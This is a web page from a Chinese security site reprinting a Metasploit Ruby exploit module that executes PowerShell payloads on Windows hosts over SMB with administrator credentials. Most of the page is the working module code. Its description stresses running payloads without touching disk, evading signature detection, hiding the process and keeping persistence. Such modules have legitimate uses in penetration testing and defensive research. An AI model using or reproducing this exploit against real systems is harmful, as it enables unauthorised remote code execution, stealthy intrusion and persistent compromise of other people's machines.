首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows Authenticated Powershell Command Execution
来源:metasploit.com 作者:RageLtMan 发布时间:2013-07-15  
# -*- coding: binary -*-
  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
  
require 'msf/core'
require 'msf/core/exploit/powershell'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking
  
  # Exploit mixins should be called first
  include Msf::Exploit::Remote::SMB::Psexec
  include Msf::Exploit::Powershell
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows Authenticated Powershell Command Execution',
      'Description'    => %q{
          This module uses a valid administrator username and password to execute a powershell
        payload using a similar technique to the "psexec" utility provided by SysInternals. The
        payload is encoded in base64 and executed from the commandline using the -encodedcommand
        flag. Using this method, the payload is never written to disk, and given that each payload
        is unique, is less prone to signature based detection. Since executing shellcode in .NET
        requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
        must match that of the payload. Lastly, a persist option is provided to execute the payload
        in a while loop in order to maintain a form of persistence. In the event of a sandbox
        observing PSH execution, a delay and other obfuscation may be added to avoid detection.
        In order to avoid interactive process notifications for the current user, the psh payload has
        been reduced in size and wrapped in a powershell invocation which hides the process entirely.
      },
  
      'Author'         => [
        'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
        'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
      ],
  
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'WfsDelay'     => 10,
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Space'        => 8192,
          'DisableNops'  => true,
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 01 1999',
      'References'     => [
        [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
        [ 'OSVDB', '3106'],
        [ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
      ]
    ))
  end
  
  def exploit
    command = cmd_psh_payload(payload.encoded)
  
    if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
    end
  
    if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
      fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
    end
  
    # Try and authenticate with given credentials
    if connect
      begin
        smb_login
      rescue StandardError => autherror
        disconnect
        fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
      end
      # Execute the powershell command
      print_status("#{peer} - Executing the payload...")
      begin
        return psexec(command)
      rescue StandardError => exec_command_error
        disconnect
        fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
      end
    end
  end
  
  def peer
    return "#{rhost}:#{rport}"
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Corel PDF Fusion Stack Buffer
·MediaCoder .M3U Buffer Overflo
·Tri-PLC Nano-10 r81 - Denial o
·MediaCoder 0.8.23.5530 SEH Buf
·Ultra Mini HTTPD 1.21 - Stack
·Squid-3.3.5 DoS PoC
·nginx 1.3.9/1.4.0 x86 Brute Fo
·rpcbind (CALLIT Procedure) UDP
·Jolix Media Player 1.1.0 (.m3u
·Light Audio Mixer Version 1.0.
·Apache CXF prior to 2.5.10, 2.
·Kate's Video Toolkit Version 7
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved